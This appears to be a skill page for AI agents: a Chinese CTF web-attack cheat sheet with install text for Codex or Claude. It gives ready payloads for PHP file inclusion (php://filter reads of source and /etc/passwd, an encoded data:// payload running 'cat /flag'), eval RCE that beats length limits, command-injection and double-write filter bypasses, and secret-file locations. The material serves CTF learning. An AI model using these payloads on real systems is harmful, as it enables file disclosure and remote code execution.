بنقرة واحدة
ctf-web
CTF Web攻击知识库 — PHP弱比较绕过、命令注入空格绕过、eval回显技巧、SSTI注入链、反序列化利用链、PHP代码审计checklist、常见flag位置
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
القائمة
CTF Web攻击知识库 — PHP弱比较绕过、命令注入空格绕过、eval回显技巧、SSTI注入链、反序列化利用链、PHP代码审计checklist、常见flag位置
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
استنادا إلى تصنيف SOC المهني
Domain routing and boundary guidance for authorized Active Directory red-team security testing, including Kerberos attacks, domain privilege escalation, lateral movement, and GPO abuse. Use when a task belongs to the AD testing domain and needs scope, evidence, pivot, or exit criteria.
Domain routing and boundary guidance for authorized API security testing, including BOLA/IDOR, authentication bypass, mass assignment, missing rate limits, and GraphQL issues. Use when a task belongs to the API testing domain and needs scope, evidence, pivot, or exit criteria.
Domain routing and boundary guidance for authorized authentication, authorization, and session security testing, including password policy, JWT/token, OAuth, and MFA bypass issues. Use when a task belongs to the auth testing domain and needs scope, evidence, pivot, or exit criteria.
Domain routing and boundary guidance for authorized web cache poisoning testing, including unkeyed headers, unkeyed parameters, cache deception, and CDN-specific behavior. Use when a task belongs to the cache poisoning domain and needs scope, evidence, pivot, or exit criteria.
Domain routing and boundary guidance for authorized clickjacking testing, including missing X-Frame-Options, CSP frame-ancestors bypasses, and drag-and-drop hijacking. Use when a task belongs to the clickjacking domain and needs scope, evidence, pivot, or exit criteria.
Domain routing and boundary guidance for authorized cloud security testing, including IAM misconfiguration, exposed storage, metadata services, and serverless injection. Use when a task belongs to the cloud testing domain and needs scope, evidence, pivot, or exit criteria.
| name | ctf-web |
| description | CTF Web攻击知识库 — PHP弱比较绕过、命令注入空格绕过、eval回显技巧、SSTI注入链、反序列化利用链、PHP代码审计checklist、常见flag位置 |
| routing | {"target_types":["ctf","web"],"task_types":["ctf"],"technologies":["php"],"vulnerability_classes":["rce","ssti","deserialization","type_juggling","path_traversal"]} |
针对 CTF Web 题目的实战知识库,提供具体绕过值、payload 模板、代码审计 checklist,而非渗透测试方法论。
与 web-security-advanced 的区别:
web-security-advanced → 渗透测试方法论(怎么系统性测试一个 Web 应用)ctf-web → CTF 实战知识库(PHP 弱比较用什么值、空格怎么绕过、eval 输出怎么回显)fetch 或 python_execute 工具实际发送验证,不猜测结果highlight_file → 用 python_execute + strip_tags 提取纯源码(fetch 输出可能误读)php-code-audit-checklist.md)| 场景 | 参考文档 | 核心内容 |
|---|---|---|
| ⭐ PHP 伪协议读文件(遇到文件包含/参数传文件名时优先尝试) | 见下方「PHP 伪协议速查」 | php://filter 直接读源码/flag |
| 源码提取 | source-code-extraction.md | strip_tags 提取、php://filter、.phps、备份文件、完整性校验 |
| PHP 弱比较/类型绕过 | php-bypass-cheatsheet.md | 0e 开头 MD5 值大全、数组绕过、extract() 覆写 |
⭐ MD5 弱比较碰撞(md5(a)==md5(b) 弱比较) | php-bypass-cheatsheet.md | ⚠️ 0e 后必须纯数字!直接用 QNKCDZO+240610708 等已验证值 |
| ⭐ preg_replace/str_replace 双写绕过 | 见下方「双写绕过速查」 | NSSNSSCTFCTF → 替换后 = NSSCTF |
| 命令注入空格绕过 | command-injection-bypass.md | ${IFS}/$IFS$9/</%09/%0a 全表 |
| eval/RCE 技巧 | eval-and-rce-techniques.md | system/exec/passthru 区别、highlight_file 输出顺序、无回显外带 |
| SSTI 注入链 | ssti-injection-chains.md | Jinja2/Twig/ERB/Mako 等注入链速查 |
| 反序列化利用链 | deserialization-playbook.md | PHP/Java/Python 反序列化、SoapClient CRLF |
| 文件上传 → RCE | web-security-advanced → web-playbook-08-file-vulnerabilities.md | .htaccess 绕过、日志投毒、多语言 Webshell |
| CTF 快速参考 | web-ctf-quick-reference.md | flag 位置、常见链形状、响应头 hint |
| PHP 代码审计 | php-code-audit-checklist.md | 输入入口→过滤→危险函数→输出分析 |
触发条件:当题目出现以下任一特征时,先试 php://filter 再想其他方法:
| 触发特征 | 示例 |
|---|---|
| 参数接受文件名/路径 | ?file=xxx / ?page=xxx / ?num=xxx / ?path=xxx |
include / require / include_once | 源码中有这些函数 |
| 页面展示源码 | highlight_file() / show_source() |
| 题目要求"读文件"或"找 flag" | 明确要读取服务器文件 |
# 1. 读 PHP 源码(base64 编码,避免 PHP 执行)
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/read=convert.base64-encode/resource=index.php
# 2. 读 PHP 源码(rot13 编码)
?file=php://filter/read=string.rot13/resource=flag.php
# 3. 直接读文件(如 .txt/.log 等非 PHP 文件)
?file=php://filter/resource=/etc/passwd
# 4. 代码执行
?file=php://input (POST body 中放 PHP 代码)
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
convert.base64-encode 是万能读取器 — PHP 文件被 include 会执行,但 base64 编码后不会执行,可以拿到源码file — 可能是 page、num、path、template 等,只要参数值被当作文件路径/名处理就可能有效crypto_decode 工具解码 — 不要自己脑补解码结果⚠️ RCE 得手后,必须按以下优先级测试 flag 位置,不要停留在当前目录的 flag.php:
优先级 1(最常见): cat /flag
优先级 2: cat /flag.txt
优先级 3: ls / → 找到根目录的 flag 文件名
优先级 4: cat /var/www/html/flag.php
优先级 5: cat /home/ctf/flag
优先级 6: cat /root/flag
其他位置: /environment, /proc/self/environ, env 命令
注意:ls 默认列当前目录(/var/www/html/),根目录的 /flag 需要 ls / 才能看到。
| 题目特征 | 可能考点 | 推荐参考 |
|---|---|---|
| 参数接受文件名/路径 | ⭐ 先试 php://filter 读 flag | 见上方「PHP 伪协议速查」 |
| 页面只有登录框 | SQL 注入 / 弱口令 / 条件竞争 | php-bypass-cheatsheet.md |
| 页面有代码展示 | 代码审计 | php-code-audit-checklist.md |
| eval/system 字样 | RCE + 空格/关键字绕过 | eval-and-rce-techniques.md + command-injection-bypass.md |
| eval + 长度限制 | RCE + $_GET 链式传参绕长度 | 见下方「RCE + 长度限制绕过」 |
| 文件上传功能 | 后缀绕过 / MIME 绕过 | web-security-advanced → web-playbook-08-file-vulnerabilities.md |
| 页面模板渲染 | SSTI | ssti-injection-chains.md |
| 序列化/反序列化 | PHP/Java 反序列化 | deserialization-playbook.md |
| 有 WAF/过滤提示 | 正则绕过 / 编码绕过 | php-bypass-cheatsheet.md + command-injection-bypass.md |
当 eval() 有 strlen() 长度限制时(如 ≤ 18 字符),首推 $_GET 链式传参:
?get=eval($_GET['A']);&A=system('cat /flag');
原理:
eval($_GET['A']) = 16 字符,通过长度限制A 中,没有长度限制eval(),将 $_GET['A'] 的值作为 PHP 代码执行| 长度限制 | payload | 字符数 |
|---|---|---|
| ≤ 18 | eval($_GET['A']); | 16 |
| ≤ 18 | eval($_GET[0]); | 14 |
| ≤ 16 | eval($_GET[A]); | 13(无引号,PHP 自动转字符串) |
| ≤ 12 | $_GET[0](); | 10(A 参数传函数名如 system,另一个参数传命令) |
?> 退出 PHP 模式、用反引号等),链式传参是通用解法?get=eval($_GET['A']);&A=system('cat /flag');python_execute 工具构造请求,而非 fetch 工具(fetch 可能不支持多参数)触发条件:源码含 preg_replace('/X/', '', $str) 或 str_replace('X', '', $str),且替换后需 $str === "X"
在关键词中间嵌入完整关键词,替换删除内层后,外层拼合出原词。
输入 = 关键词前半 + 关键词 + 关键词后半
| 过滤关键词 | 双写输入 | 替换过程 | 结果 |
|---|---|---|---|
| NSSCTF | NSSNSSCTFCTF | 删中间NSSCTF → NSS+CTF | NSSCTF ✅ |
| flag | flflagag | 删中间flag → fl+ag | flag ✅ |
| cat | cacatt | 删中间cat → ca+t | cat ✅ |
| system | syssystemtem | 删中间system → sys+tem | system ✅ |
| hack | hahackck | 删中间hack → ha+ck | hack ✅ |
| cmd | cmcmdd | 删中间cmd → cm+d | cmd ✅ |
| exec | exexecec | 删中间exec → ex+ec | exec ✅ |
NssCTF,不等于 "NSSCTF",严格比较失败preg_replace('/X/', '', $str) + $str === "X" → 立即双写str_replace 也是一次替换,双写同样有效preg_replace,可能需要三写/四写,但 CTF 中通常只需双写